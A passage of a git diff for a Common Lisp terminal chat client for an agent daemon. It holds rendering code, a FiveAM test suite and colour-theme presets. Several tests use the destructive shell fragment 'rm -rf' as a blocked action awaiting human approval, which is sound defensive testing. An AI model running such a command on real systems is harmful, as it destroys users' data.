bg-p)) + ;; Top separator + (cl-tty.backend:draw-text be 0 top + (make-string chat-w :initial-element #\─) + sep-c bg-p) + (cl-tty.backend:draw-text be 1 top + (cl-tty.dialog:dialog-title dlg) + (theme-color :accent) bg-p) + ;; Options + (let ((y-off 1)) + (dolist (item filtered) + (let* ((display-idx (first item)) + (option (third item)) + (title (getf option :title)) + (cat (getf option :category)) + (sel-p (eql display-idx (or sel-idx 0))) + (text (if cat (format nil " ~a" title) + (format nil " ~a" title))) + (row (+ top y-off))) + (when (>= row (1- h)) (return)) + (cond + (sel-p + (cl-tty.backend:draw-rect be 1 row (1- chat-w) 1 + :bg (theme-color :input-fg)) + (cl-tty.backend:draw-text be 1 row (format nil " >> ~a" title) + (theme-color :bg-input) (theme-color :input-fg))) + (cat + (cl-tty.backend:draw-text be 1 row text + (theme-color :text-muted) bg-p)) + (t + (cl-tty.backend:draw-text be 1 row text + (theme-color :agent-fg) bg-p))) + (incf y-off)))) + (cl-tty.backend:draw-rect be 0 (- h 3) chat-w 1 :bg bg-p) + (cl-tty.backend:draw-text be 0 (- h 3) + (format nil "> ~a" (or filter "")) + (theme-color :input-prompt) bg-p)) + (cl-tty.backend:end-sync be)) + (sleep 0.1) + ;; Show terminal cursor at input position every frame + (unless (st :dialog-stack) + (passepartout.channel-tui:position-cursor be w h)))) + (progn (disconnect-daemon))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tui-tests + (:use :cl :passepartout :passepartout.channel-tui) + (:export #:tui-suite)) + +(in-package :passepartout-tui-tests) + +(fiveam:def-suite tui-suite :description "Verification of the TUI model and event handling") +(fiveam:in-suite tui-suite) + +(fiveam:test test-init-state + "Contract model.1: init-state returns fresh state plist with required keys." + (init-state) + (fiveam:is (eq t (st :running))) + (fiveam:is (eq :chat (st :mode))) + (fiveam:is (eq nil (st :connected))) + (fiveam:is (eq nil (st :stream))) + (fiveam:is (zerop (length (st :messages)))) + (fiveam:is (eq 0 (st :scroll-offset))) + (fiveam:is (eq nil (st :busy)))) + +(fiveam:test test-add-msg + "Contract model.2: add-msg appends a message with role, content, and time." + (init-state) + (add-msg :user "hello") + (let* ((msgs (st :messages)) + (msg (aref msgs 0))) + (fiveam:is (eq :user (getf msg :role))) + (fiveam:is (string= "hello" (getf msg :content))) + (fiveam:is (stringp (getf msg :time))) + (fiveam:is (= 5 (length (getf msg :time)))))) + +(fiveam:test test-add-msg-dirty-flag + "Contract model.2: add-msg sets dirty flags for status and chat." + (init-state) + (setf (st :dirty) (list nil nil nil)) + (add-msg :system "boot") + (let ((dirty (st :dirty))) + (fiveam:is (eq t (first dirty))) + (fiveam:is (eq t (second dirty))) + (fiveam:is (eq nil (third dirty))))) + +(fiveam:test test-queue-event-roundtrip + "Contract model.3: queue-event + drain-queue preserves events in order." + (init-state) + (queue-event '(:type :key :payload (:ch 13))) + (queue-event '(:type :daemon :payload (:text "hi"))) + (let ((evs (drain-queue))) + (fiveam:is (= 2 (length evs))) + (fiveam:is (equal '(:type :key :payload (:ch 13)) (first evs))) + (fiveam:is (equal '(:type :daemon :payload (:text "hi")) (second evs))) + (fiveam:is (null (drain-queue))))) + +(fiveam:test test-on-key-enter-sends-user-message + "Contract 1: on-key with Enter extracts input, adds user message, clears buffer." + (init-state) + ;; Simulate typing "test" + (dolist (ch '(#\t #\e #\s #\t)) + (on-key (char-code ch))) + (fiveam:is (string= "test" (input-string))) + ;; Simulate Enter key — ncurses returns 343 (KEY_ENTER) when keypad is enabled + (on-key 343) + ;; Input buffer should be cleared + (fiveam:is (string= "" (input-string))) + ;; A user message should be in the message list + (let ((msgs (st :messages))) + (fiveam:is (>= (length msgs) 1)) + (let ((last (aref msgs 0))) + (fiveam:is (eq :user (getf last :role))) + (fiveam:is (string= "test" (getf last :content)))))) + +(fiveam:test test-on-key-eval-command + "Contract 1: on-key handles /eval command and displays result." + (init-state) + ;; Type "/eval (+ 1 2)" + (dolist (ch (coerce "/eval (+ 1 2)" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((msgs (st :messages))) + (fiveam:is (>= (length msgs) 1)) + (let ((last-msg (aref msgs 0))) + (fiveam:is (eq :system (getf last-msg :role))) + (fiveam:is (search "=> 3" (getf last-msg :content)))))) + +(fiveam:test test-on-key-backspace + "Contract 1: on-key with Backspace removes last character from buffer." + (init-state) + (dolist (ch '(#\a #\b #\c)) + (on-key (char-code ch))) + (fiveam:is (string= "abc" (input-string))) + ;; ncurses returns 263 (KEY_BACKSPACE) when keypad is enabled + (on-key 263) + (fiveam:is (string= "ab" (input-string)))) + +(fiveam:test test-on-key-focus-command + "Contract 1: /focus command parses project name." + (init-state) + (dolist (ch (coerce "/focus myapp" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((msg (aref (st :messages) 0))) + (fiveam:is (eq :system (getf msg :role))))) + +(fiveam:test test-on-key-scope-command + "Contract 1: /scope command with valid argument." + (init-state) + (dolist (ch (coerce "/scope memex" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((msg (aref (st :messages) 0))) + (fiveam:is (eq :system (getf msg :role))))) + +(fiveam:test test-on-key-unfocus-command + "Contract 1: /unfocus command dispatches correctly." + (init-state) + (dolist (ch (coerce "/unfocus" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((msg (aref (st :messages) 0))) + (fiveam:is (eq :system (getf msg :role))))) + +(fiveam:test test-on-key-tab-completion + "Contract 1: Tab completes / commands when input starts with /." + (init-state) + (dolist (ch (coerce "/ev" 'list)) + (on-key (char-code ch))) + (on-key 9) + (fiveam:is (string= "/eval " (input-string)))) + +(fiveam:test test-on-key-tab-no-slash + "Contract 1: Tab does nothing when input doesn't start with /." + (init-state) + (dolist (ch (coerce "hello" 'list)) + (on-key (char-code ch))) + (on-key 9) + (fiveam:is (string= "hello" (input-string)))) + +(fiveam:test test-on-key-multiline + "Contract 1: \\ + Enter inserts newline instead of sending." + (init-state) + (dolist (ch (coerce "line1" 'list)) + (on-key (char-code ch))) + (on-key (char-code #\\)) + (on-key 343) + (fiveam:is (search "line1" (input-string))) + (fiveam:is (search (string #\Newline) (input-string)))) + +(fiveam:test test-on-key-help + "Contract 1: /help displays command list." + (init-state) + (dolist (ch (coerce "/help" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((msgs (st :messages))) + (fiveam:is (>= (length msgs) 3)) + (fiveam:is (some (lambda (m) (search "/eval" (getf m :content))) msgs)))) + +(fiveam:test test-activity-indicator + "Contract model: :busy flag is set on send and cleared on agent response." + (init-state) + (fiveam:is (eq nil (st :busy))) + ;; Simulate sending a normal message (sets busy) + (dolist (ch (coerce "hello" 'list)) + (on-key (char-code ch))) + (on-key 343) + (fiveam:is (eq t (st :busy))) + ;; Simulate receiving an agent response (clears busy) + (on-daemon-msg '(:type :event :payload (:text "hi back"))) + (fiveam:is (eq nil (st :busy)))) + +(fiveam:test test-theme + "Contract view: *tui-theme* provides color mappings." + (fiveam:is (string= "#fab283" (getf *tui-theme* :user-fg))) + (fiveam:is (string= "#e8e8e8" (getf *tui-theme* :agent-fg))) + (fiveam:is (string= "#808080" (getf *tui-theme* :system))) + (fiveam:is (string= "#e8e8e8" (getf *tui-theme* :input-fg))) + (fiveam:is (string= "#FFFFFF" (theme-color :unknown-role)))) + +(fiveam:test test-on-key-ctrl-u-clears + "Contract v0.9.0: Ctrl+U (via dispatch-key-event) clears the input buffer." + (init-state) + (dolist (ch '(#\h #\i)) (on-key (char-code ch))) + (cl-tty.input:dispatch-key-event + (cl-tty.input:make-key-event :key :u :ctrl t :code 21)) + (fiveam:is (string= "" (input-string)))) + +(fiveam:test test-on-key-ctrl-l-redraws + "Contract v0.9.0: Ctrl+L (via dispatch-key-event) sets all dirty flags." + (init-state) + (setf (st :dirty) (list nil nil nil)) + (cl-tty.input:dispatch-key-event + (cl-tty.input:make-key-event :key :l :ctrl t :code 12)) + (let ((d (st :dirty))) + (fiveam:is (eq t (first d))) + (fiveam:is (eq t (second d))))) + +(fiveam:test test-scroll-notify + "Contract/v0.7.0: add-msg sets scroll-notify when scrolled up." + (init-state) + (setf (st :scroll-at-bottom) nil) + (add-msg :agent "hi") + (fiveam:is (eq t (st :scroll-notify))) + (setf (st :scroll-at-bottom) t (st :scroll-notify) nil) + (add-msg :agent "hi2") + (fiveam:is (eq nil (st :scroll-notify)))) + +(fiveam:test test-tab-subcommand + "Contract/v0.7.0: Tab completes subcommand for /theme." + (init-state) + (dolist (ch (coerce "/theme " 'list)) (on-key (char-code ch))) + (on-key 9) + (fiveam:is (search "amber" (input-string) :test #'char-equal))) + +;; ── v0.7.1 Streaming ── + +(fiveam:test test-stream-chunk-appends + "Contract/v0.7.1: stream-chunk frame appends to last message." + (init-state) + (on-daemon-msg '(:type :stream-chunk :payload (:text "Hello"))) + (on-daemon-msg '(:type :stream-chunk :payload (:text " world"))) + (let ((msgs (st :messages))) + (fiveam:is (= 1 (length msgs))) + (let ((msg (aref msgs 0))) + (fiveam:is (eq :agent (getf msg :role))) + (fiveam:is (string= "Hello world" (getf msg :content))) + (fiveam:is (eq t (getf msg :streaming)))))) + +(fiveam:test test-stream-chunk-final + "Contract/v0.7.1: final empty chunk stamps timestamp and clears streaming flag." + (init-state) + (on-daemon-msg '(:type :stream-chunk :payload (:text "Hi"))) + (on-daemon-msg '(:type :stream-chunk :payload (:text ""))) + (let ((msg (aref (st :messages) 0))) + (fiveam:is (stringp (getf msg :time))) + (fiveam:is (string= "Hi" (getf msg :content))) + (fiveam:is (null (st :streaming-text))))) + +(fiveam:test test-stream-interrupt + "Contract/v0.7.1: Esc during streaming appends [interrupted] and finalizes." + (init-state) + (on-daemon-msg '(:type :stream-chunk :payload (:text "partial"))) + (on-key 27) + (let ((msg (aref (st :messages) 0))) + (fiveam:is (stringp (getf msg :time))) + (fiveam:is (search "[interrupted]" (getf msg :content))) + (fiveam:is (null (st :streaming-text))) + (fiveam:is (null (st :busy))))) + +(fiveam:test test-stream-check-skip + "Contract/v0.7.1: Esc without active streaming does nothing." + (init-state) + (on-key 27) + (fiveam:is (null (st :streaming-text))) + (fiveam:is (= 0 (length (st :messages))))) + +(fiveam:test test-tab-open-url + "Contract/v0.7.1: Tab on empty input with URL message extracts URL." + (init-state) + (add-msg :agent "visit https://example.com for info") + (on-key 9) + (fiveam:is (string= "https://example.com" (st :url-buffer)))) + +;; ── v0.7.2 HITL Panels ── + +(fiveam:test test-hitl-panel-in-on-daemon-msg + "Contract v0.7.2: approval-required messages render as HITL panels." + (init-state) + (on-daemon-msg '(:type :EVENT :level :approval-required + :payload (:sensor :approval-required + :action (:TYPE :REQUEST :PAYLOAD (:TOOL "shell")) + :message "rm -rf blocked"))) + (let ((m (aref (st :messages) 0))) + (fiveam:is (eq :system (getf m :role))) + (fiveam:is (getf m :panel)) + (fiveam:is (search "rm -rf" (getf m :content))))) + +(fiveam:test test-hitl-panel-after-approve + "Contract v0.7.2: /approve adds confirmation and marks panel resolved." + (init-state) + (on-daemon-msg '(:type :EVENT :level :approval-required + :payload (:sensor :approval-required :message "test"))) + (dolist (ch (coerce "/approve HITL-test" 'list)) + (on-key (char-code ch))) + (on-key 13) + ;; Panel message (index 0) should be marked resolved + (let ((m (aref (st :messages) 0))) + (fiveam:is (getf m :panel)) + (fiveam:is (eq :approved (getf m :panel-resolved)))) + ;; Last message should be the approval confirmation + (let ((m (aref (st :messages) (1- (length (st :messages)))))) + (fiveam:is (search "Approved" (getf m :content))))) + +(fiveam:test test-hitl-panel-after-deny + "Contract v0.7.2: /deny marks panel as denied." + (init-state) + (on-daemon-msg '(:type :EVENT :level :approval-required + :payload (:sensor :approval-required :message "blocked"))) + (dolist (ch (coerce "/deny HITL-deny" 'list)) + (on-key (char-code ch))) + (on-key 13) + (let ((m (aref (st :messages) 0))) + (fiveam:is (getf m :panel)) + (fiveam:is (eq :denied (getf m :panel-resolved))))) + +(fiveam:test test-hitl-approve-parsed + "Contract v0.7.2: /approve HITL-xxxx sends structured event, not raw text." + (init-state) + (dolist (ch (coerce "/approve HITL-abcd" 'list)) + (on-key (char-code ch))) + (on-key 343) + ;; Should add a system message confirming approval, not a user message + (let ((msgs (st :messages))) + (fiveam:is (>= (length msgs) 1)) + (let ((m (aref msgs 0))) + (fiveam:is (eq :system (getf m :role))) + (fiveam:is (search "Approved" (getf m :content)))))) + +(fiveam:test test-hitl-deny-parsed + "Contract v0.7.2: /deny HITL-xxxx sends structured denial." + (init-state) + (dolist (ch (coerce "/deny HITL-xyz" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((m (aref (st :messages) 0))) + (fiveam:is (eq :system (getf m :role))) + (fiveam:is (search "Denied" (getf m :content))))) + +;; ── v0.7.2 Undo/Redo ── + +(fiveam:test test-undo-command + "Contract v0.7.2: /undo sends undo event." + (init-state) + (dolist (ch (coerce "/undo" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((m (aref (st :messages) 0))) + (fiveam:is (eq :system (getf m :role))) + (fiveam:is (search "Undo" (getf m :content))))) + +(fiveam:test test-redo-command + "Contract v0.7.2: /redo sends redo event." + (init-state) + (dolist (ch (coerce "/redo" 'list)) + (on-key (char-code ch))) + (on-key 343) + (let ((m (aref (st :messages) 0))) + (fiveam:is (eq :system (getf m :role))) + (fiveam:is (search "Redo" (getf m :content))))) + +;; ── v0.7.2 Self-help ── + +(fiveam:test test-why-command + "Contract v0.7.2: /why shows gate trace from last message." + (init-state) + (add-msg :agent "did something" :gate-trace '((:gate "shell" :result :blocked :reason "rm -rf"))) + (dolist (ch (coerce "/why" 'list)) + (on-key (char-code ch))) + (on-key 13) + (let* ((msgs (st :messages)) + (m (aref msgs (1- (length msgs))))) + (fiveam:is (eq :system (getf m :role))) + (fiveam:is (search "[BLOCKED]" (getf m :content))) + (fiveam:is (search "shell" (getf m :content))))) + +(fiveam:test test-why-no-trace + "Contract v0.7.2: /why with no gate trace shows fallback message." + (init-state) + (dolist (ch (coerce "/why" 'list)) + (on-key (char-code ch))) + (on-key 13) + (let* ((msgs (st :messages)) + (m (aref msgs (1- (length msgs))))) + (fiveam:is (search "No recent" (getf m :content))))) + +;; ── v0.7.2 Gate Trace Toggle (Ctrl+G) ── + +(fiveam:test test-ctrlg-toggle-gate-trace + "Contract v0.9.0: Ctrl+G (via dispatch-key-event) toggles gate-trace collapse state." + (init-state) + (add-msg :agent "test" :gate-trace '((:gate "shell" :result :passed))) + (cl-tty.input:dispatch-key-event + (cl-tty.input:make-key-event :key :g :ctrl t :code 7)) + (let* ((msgs (st :messages)) + (m (aref msgs (1- (length msgs))))) + (fiveam:is (search "hidden" (getf m :content)))) + (cl-tty.input:dispatch-key-event + (cl-tty.input:make-key-event :key :g :ctrl t :code 7)) + (let* ((msgs (st :messages)) + (m (aref msgs (1- (length msgs))))) + (fiveam:is (search "shown" (getf m :content))))) + +(fiveam:test test-ctrlg-no-gate-trace + "Contract v0.9.0: Ctrl+G (via dispatch-key-event) with no gate trace shows fallback." + (init-state) + (cl-tty.input:dispatch-key-event + (cl-tty.input:make-key-event :key :g :ctrl t :code 7)) + (let ((m (aref (st :messages) 0))) + (fiveam:is (search "No gate trace" (getf m :content))))) + +;; ── v0.7.2 Message Search Mode ── + +(fiveam:test test-search-mode-activate + "Contract v0.7.2: /search enters search mode." + (init-state) + (add-msg :agent "hello world") + (add-msg :agent "goodbye") + (dolist (ch (coerce "/search hello" 'list)) + (on-key (char-code ch))) + (on-key 13) + (fiveam:is (eq t (st :search-mode))) + (fiveam:is (string= "hello" (st :search-query))) + (fiveam:is (= 1 (length (st :search-matches))))) + +(fiveam:test test-search-mode-escape-exits + "Contract v0.7.2: Escape exits search mode." + (init-state) + (add-msg :agent "test") + (dolist (ch (coerce "/search test" 'list)) + (on-key (char-code ch))) + (on-key 13) + (fiveam:is (eq t (st :search-mode))) + (on-key 27) ;; Escape + (fiveam:is (null (st :search-mode)))) + +(fiveam:test test-search-mode-up-down-nav + "Contract v0.7.2: Up/Down navigates between search matches." + (init-state) + (add-msg :agent "aaa hello bbb") + (add-msg :agent "ccc hello ddd") + (add-msg :agent "no match here") + (dolist (ch (coerce "/search hello" 'list)) + (on-key (char-code ch))) + (on-key 13) + (fiveam:is (= 0 (st :search-match-idx))) + (on-key 258) ;; Down + (fiveam:is (= 1 (st :search-match-idx))) + (on-key 259) ;; Up + (fiveam:is (= 0 (st :search-match-idx))) + (on-key 259) ;; Up (clamped) + (fiveam:is (= 0 (st :search-match-idx)))) + +(fiveam:test test-context-sections + "Contract v0.7.2: /context shows section breakdown with IDENTITY, TOOLS, LOGS." + (init-state) + (add-msg :agent "hello world") + (dolist (ch (coerce "/context" 'list)) + (on-key (char-code ch))) + (on-key 13) + (let ((msgs (st :messages))) + (fiveam:is (some (lambda (m) (search "IDENTITY" (getf m :content))) msgs)) + (fiveam:is (some (lambda (m) (search "LOGS" (getf m :content))) msgs)) + (fiveam:is (some (lambda (m) (search "TOOLS" (getf m :content))) msgs)))) + +(fiveam:test test-help-topic-lookup + "Contract v0.7.2: /help reads and searches USER_MANUAL.org." + (init-state) + (dolist (ch (coerce "/help configuration" 'list)) + (on-key (char-code ch))) + (on-key 13) + (let ((msgs (st :messages))) + (fiveam:is (some (lambda (m) (search ".env" (getf m :content))) msgs)))) + +(fiveam:test test-pads-page-up + "Contract v0.7.2: PageUp scrolls by page size (> 5 lines)." + (init-state) + (dotimes (i 30) (add-msg :system (format nil "msg ~d" i))) + (setf (st :scroll-offset) 0) + (on-key :ppage) + (fiveam:is (> (st :scroll-offset) 5) "Should scroll by more than 5 lines")) + +(fiveam:test test-pads-page-down-clamp + "Contract v0.7.2: PageDown clamps to 0." + (init-state) + (dotimes (i 5) (add-msg :system (format nil "msg ~d" i))) + (setf (st :scroll-offset) 3) + (on-key :npage) + (fiveam:is (= 0 (st :scroll-offset)))) + +;; ── v0.8.0 Minibuffer ── + +(fiveam:test test-slash-commands-defined + "Contract v0.8.0: *slash-commands* is non-nil list of option plists." + (fiveam:is (listp passepartout.channel-tui::*slash-commands*)) + (fiveam:is (> (length passepartout.channel-tui::*slash-commands*) 0)) + (fiveam:is (every (lambda (opt) + (and (getf opt :title) (getf opt :value) (getf opt :category))) + passepartout.channel-tui::*slash-commands*))) + +(fiveam:test test-minibuffer-state + "Contract v0.8.0: init-state has :dialog-stack and :minibuffer-active fields." + (init-state) + (fiveam:is (null (st :dialog-stack))) + (fiveam:is (null (st :minibuffer-active)))) + +(fiveam:test test-command-palette-state + "Contract v0.8.0: init-state has :command-palette-active and :command-palette-dialog as nil." + (init-state) + (fiveam:is (null (st :command-palette-active))) + (fiveam:is (null (st :command-palette-dialog)))) diff --git a/lisp/channel-tui-state.lisp b/lisp/channel-tui-state.lisp new file mode 100644 index 0000000..80c9db0 --- /dev/null +++ b/lisp/channel-tui-state.lisp @@ -0,0 +1,399 @@ +(defpackage :passepartout.channel-tui + (:use :cl :passepartout :usocket :bordeaux-threads) + (:export :tui-main :st :add-msg :now :input-string + :queue-event :drain-queue :init-state + :view-status :view-chat :view-input :redraw + :position-cursor + :input-panel-top + :on-key :on-daemon-msg :send-daemon + :connect-daemon :disconnect-daemon + :*tui-theme* :theme-color)) +(in-package :passepartout.channel-tui) + +(defvar *state* nil) +(defvar *event-queue* nil) +(defvar *event-lock* (bt:make-lock "tui-event-lock")) + +(defvar *tui-theme* + '( :user-fg "#fab283" :user-bg "#1e1e1e" :user-border "#fab283" + :agent-border "#c0a080" :agent-header "#d4956a" :agent-fg "#e8e8e8" + :system "#808080" + :input-prompt "#fab283" :input-fg "#e8e8e8" + :hint "#606060" + :status-bg "#141414" :status-fg "#e8e8e8" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :text-muted "#808080" + :dot-connected "#7fd88f" :dot-disconnected "#e06c75" + :bg-input "#2e2e2e" + :error "#e06c75" + :tool-running "#fab283" :tool-done "#7fd88f" :tool-error "#e06c75" + :thinking-bg "#3a3a3a" :symbolic-border "#707070" + :separator "#3c3c3c" :accent "#fab283" :dim "#606060") + "Dark-neutral color theme with warm amber accent. Backgrounds are dark grays, +semantic text colors for context. Keys: :bg (deepest), :bg-panel, :bg-element, +:text-muted, :user-fg/bg/border, :agent-border/header/fg, :system, +:input-prompt/fg, :hint, :status-bg/fg, :bg-input, :thinking-bg, +:symbolic-border, :dot-connected/disconnected, :error, :tool-*, +:separator, :accent, :dim.") + +(defvar *tui-theme-presets* + '(:amber + (:user-fg "#fab283" :user-bg "#1e1e1e" :user-border "#fab283" + :agent-header "#d4956a" :agent-fg "#e8e8e8" + :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070" + :system "#808080" + :input-prompt "#fab283" :input-fg "#e8e8e8" + :hint "#606060" + :status-bg "#141414" :status-fg "#e8e8e8" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#7fd88f" :dot-disconnected "#e06c75" + :error "#e06c75" + :tool-running "#fab283" :tool-done "#7fd88f" :tool-error "#e06c75" + :separator "#3c3c3c" :accent "#fab283" :dim "#606060") + :gold + (:user-fg "#ffd700" :user-bg "#1e1e1e" :user-border "#ffd700" + :agent-header "#d4a574" :agent-fg "#e8e8e8" + :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070" + :system "#808080" + :input-prompt "#ffd700" :input-fg "#e8e8e8" + :hint "#606060" + :status-bg "#141414" :status-fg "#ffd700" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#7fd88f" :dot-disconnected "#e06c75" + :error "#e06c75" + :tool-running "#ffd700" :tool-done "#7fd88f" :tool-error "#e06c75" + :separator "#3c3c3c" :accent "#ffd700" :dim "#606060") + :terracotta + (:user-fg "#e87a5d" :user-bg "#1e1e1e" :user-border "#e87a5d" + :agent-header "#d4956a" :agent-fg "#e0c8b0" + :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070" + :system "#808080" + :input-prompt "#e87a5d" :input-fg "#e0c8b0" + :hint "#606060" + :status-bg "#141414" :status-fg "#d4956a" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#6cb85c" :dot-disconnected "#d94a3a" + :error "#d94a3a" + :tool-running "#e87a5d" :tool-done "#6cb85c" :tool-error "#d94a3a" + :separator "#3c3c3c" :accent "#e87a5d" :dim "#606060") + :sepia + (:user-fg "#c4a882" :user-bg "#1e1e1e" :user-border "#c4a882" + :agent-header "#b89870" :agent-fg "#d4c4a8" + :system "#808080" + :input-prompt "#c4a882" :input-fg "#d4c4a8" + :hint "#606060" + :status-bg "#141414" :status-fg "#b89870" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#7aac5c" :dot-disconnected "#c84a3a" + :error "#c84a3a" + :tool-running "#c4a882" :tool-done "#7aac5c" :tool-error "#c84a3a" + :separator "#3c3c3c" :accent "#c4a882" :dim "#606060") + :nord-warm + (:user-fg "#d4a574" :user-bg "#1e1e1e" :user-border "#d4a574" + :agent-header "#c49870" :agent-fg "#e0d0c0" + :system "#808080" + :input-prompt "#d08770" :input-fg "#e0d0c0" + :hint "#606060" + :status-bg "#141414" :status-fg "#c8a080" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#7cb860" :dot-disconnected "#d06050" + :error "#d06050" + :tool-running "#d08770" :tool-done "#7cb860" :tool-error "#d06050" + :separator "#3c3c3c" :accent "#d4a574" :dim "#606060") + :monokai-warm + (:user-fg "#e6b87d" :user-bg "#1e1e1e" :user-border "#e6b87d" + :agent-header "#d4a06a" :agent-fg "#d8c8b0" + :system "#808080" + :input-prompt "#e6b87d" :input-fg "#d8c8b0" + :hint "#606060" + :status-bg "#141414" :status-fg "#cc9966" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#7ab85c" :dot-disconnected "#d94a3a" + :error "#d94a3a" + :tool-running "#e6b87d" :tool-done "#7ab85c" :tool-error "#d94a3a" + :separator "#3c3c3c" :accent "#e6b87d" :dim "#606060") + :gruvbox-warm + (:user-fg "#d8a657" :user-bg "#1e1e1e" :user-border "#d8a657" + :agent-header "#c8a070" :agent-fg "#e0c8a8" + :system "#808080" + :input-prompt "#d8a657" :input-fg "#e0c8a8" + :hint "#606060" + :status-bg "#141414" :status-fg "#c8a070" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#7ab85c" :dot-disconnected "#d94a3a" + :error "#d94a3a" + :tool-running "#d8a657" :tool-done "#7ab85c" :tool-error "#d94a3a" + :separator "#3c3c3c" :accent "#d8a657" :dim "#606060") + :light-amber + (:user-fg "#cc6600" :user-bg "#f5f5f5" :user-border "#cc6600" + :agent-header "#8b6914" :agent-fg "#3a2a1a" + :agent-border "#a08060" :thinking-bg "#d4d4d4" :symbolic-border "#b0b0b0" + :system "#808080" + :input-prompt "#cc6600" :input-fg "#3a2a1a" + :hint "#a0a0a0" + :status-bg "#ebebeb" :status-fg "#3a2a1a" + :bg "#ffffff" :bg-panel "#f5f5f5" :bg-element "#ebebeb" + :bg-input "#d4d4d4" + :text-muted "#808080" + :dot-connected "#2e8b57" :dot-disconnected "#cc3300" + :error "#cc3300" + :tool-running "#cc6600" :tool-done "#2e8b57" :tool-error "#cc3300" + :separator "#d4d4d4" :accent "#cc6600" :dim "#a0a0a0") + :catppuccin + (:user-fg "#fab387" :user-bg "#1e1e2e" :user-border "#fab387" + :agent-header "#cba6f7" :agent-fg "#cdd6f4" + :agent-border "#a6adc8" :thinking-bg "#363650" :symbolic-border "#6c7086" + :system "#808080" + :input-prompt "#fab387" :input-fg "#cdd6f4" + :hint "#6c7086" + :status-bg "#181825" :status-fg "#a6adc8" + :bg "#11111b" :bg-panel "#181825" :bg-element "#1e1e2e" + :bg-input "#2e2e2e" + :text-muted "#6c7086" + :dot-connected "#a6e3a1" :dot-disconnected "#f38ba8" + :error "#f38ba8" + :tool-running "#fab387" :tool-done "#a6e3a1" :tool-error "#f38ba8" + :separator "#313244" :accent "#fab387" :dim "#585b70") + :tokyonight + (:user-fg "#ff9e64" :user-bg "#1a1b26" :user-border "#ff9e64" + :agent-header "#7aa2f7" :agent-fg "#a9b1d6" + :agent-border "#7982a8" :thinking-bg "#363b54" :symbolic-border "#565f89" + :system "#808080" + :input-prompt "#ff9e64" :input-fg "#a9b1d6" + :hint "#565f89" + :status-bg "#16161e" :status-fg "#9aa5ce" + :bg "#0f0f18" :bg-panel "#16161e" :bg-element "#1a1b26" + :bg-input "#2e2e2e" + :text-muted "#565f89" + :dot-connected "#9ece6a" :dot-disconnected "#db4b4b" + :error "#db4b4b" + :tool-running "#ff9e64" :tool-done "#9ece6a" :tool-error "#db4b4b" + :separator "#292e42" :accent "#ff9e64" :dim "#444b6a") + :dracula + (:user-fg "#ff9580" :user-bg "#1e1f2b" :user-border "#ff9580" + :agent-header "#bd93f9" :agent-fg "#f8f8f2" + :agent-border "#c0c0e0" :thinking-bg "#3a3b50" :symbolic-border "#6272a4" + :system "#808080" + :input-prompt "#ff9580" :input-fg "#f8f8f2" + :hint "#6272a4" + :status-bg "#191a24" :status-fg "#e0e0e0" + :bg "#0f101a" :bg-panel "#191a24" :bg-element "#1e1f2b" + :bg-input "#2e2e2e" + :text-muted "#6272a4" + :dot-connected "#50fa7b" :dot-disconnected "#ff5555" + :error "#ff5555" + :tool-running "#ff9580" :tool-done "#50fa7b" :tool-error "#ff5555" + :separator "#34354a" :accent "#ff9580" :dim "#5a5b7a") + :gemini + (:user-fg "#87afff" :user-bg "#1a1a1a" :user-border "#87afff" + :agent-header "#d7afff" :agent-fg "#ffffff" + :agent-border "#d0d0d0" :thinking-bg "#3a3a3a" :symbolic-border "#707070" + :system "#808080" + :input-prompt "#87afff" :input-fg "#ffffff" + :hint "#606060" + :status-bg "#141414" :status-fg "#afafaf" + :bg "#000000" :bg-panel "#141414" :bg-element "#1a1a1a" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#d7ffd7" :dot-disconnected "#ff87af" + :error "#ff87af" + :tool-running "#87afff" :tool-done "#d7ffd7" :tool-error "#ff87af" + :separator "#3a3a3a" :accent "#87afff" :dim "#5f5f5f") + :mono + (:user-fg "#e0e0e0" :user-bg "#1a1a1a" :user-border "#808080" + :agent-header "#c0c0c0" :agent-fg "#d0d0d0" + :agent-border "#a0a0a0" :thinking-bg "#3a3a3a" :symbolic-border "#808080" + :system "#808080" + :input-prompt "#ffffff" :input-fg "#d0d0d0" + :hint "#606060" + :status-bg "#141414" :status-fg "#b0b0b0" + :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1a1a1a" + :bg-input "#2e2e2e" + :text-muted "#808080" + :dot-connected "#a0a0a0" :dot-disconnected "#808080" + :error "#808080" + :tool-running "#e0e0e0" :tool-done "#a0a0a0" :tool-error "#808080" + :separator "#303030" :accent "#ffffff" :dim "#505050")) + "13 theme presets (amber, gold, terracotta, sepia, nord-warm, +monokai-warm, gruvbox-warm, light-amber, catppuccin, tokyonight, dracula, +gemini, mono). Keys: :bg/:bg-panel/:bg-element/:bg-input/:text-muted.") + +(defvar *tui-theme-current-name* :amber + "Name of the currently active theme preset.") + +(defun theme-save () + "Persist current theme to disk." + (let ((path 